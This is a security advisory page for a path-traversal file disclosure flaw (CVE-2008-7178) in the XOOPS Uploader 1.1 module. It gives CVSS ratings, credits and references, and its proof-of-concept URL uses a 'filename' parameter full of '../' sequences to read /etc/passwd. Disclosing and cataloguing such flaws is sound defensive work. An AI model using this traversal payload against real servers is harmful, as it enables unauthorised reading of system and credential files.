XOOPS Module Uploader 1.1 (filename) File Disclosure Vulnerability

2009-09-08 / 2009-09-09

Credit: MEEKAAH

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-7178

CWE: CWE-22

Ogólna skala CVSS: 7.5/10

Znaczenie: 6.4/10

Łatwość wykorzystania: 10/10

Wymagany dostęp: Zdalny

Złożoność ataku: Niska

Autoryzacja: Nie wymagana

Wpływ na poufność: Częściowy

Wpływ na integralność: Częściowy

Wpływ na dostępność: Częściowy

                                        MMM                                 MMM       
                                        MMM                                 MMM       
MMMMMMMMMMMMM    MMMMMMMMM  MMMMMMMMMM  MMMMMMMMM    MMMMMMMMM   MMMMMMMMM  MMMMMMMMM 
MM   MMM   MMM   MM         MMM         MMM    MMM  MMM    MMM  MMM    MMM  MMM    MMM
MM   MMM   MMM   MMMMMMM    MMMMMMMM    MMM    MMM  MMM    MMM  MMM    MMM  MMM    MMM
MM   MMM   MMM   MMMMMMM    MMMMMMMM    MMM MMMMM   MMMMMMMMMM  MMMMMMMMMM  MMM    MMM
MM   MMM   MMM   MM         MMM         MMM  MMMN   MMM    MMM  MMM    MMM  MMM    MMM
MM   MMM   MMM   MMMMMMMMM  MMMMMMMMMM  MMM   NMM   MMM    MMM  MMM    MMM  MMM    MMM


[*] Vulnerable : XOOPS Module Uploader 1.1 - Local File Inclusion
                 Module url : http://www.xoops.org/modules/repository/singlefile.php?cid=28&lid=1243

[*] Author     :  MEEKAAH

[*] Dork       :  Find it yourself ;)

[*] POC        :  http://localhost/modules/uploader/index.php?action=downloadfile&filename=[LFI]

[*] Example    :  http://localhost/modules/uploader/index.php?action=downloadfile&filename=../../../../../../../../../../../../../../../../etc/passwd

-----------------------------------------------------------------------------------------------------------

[*] Greetings  :  Alex, Adeel, CeBbZ, Cubacola, Noel ...

Referencje:

http://xforce.iss.net/xforce/xfdb/42925

http://www.securityfocus.com/bid/29600

http://www.milw0rm.com/exploits/5756

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

XOOPS Module Uploader 1.1 (filename) File Disclosure Vulnerability

Referencje:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.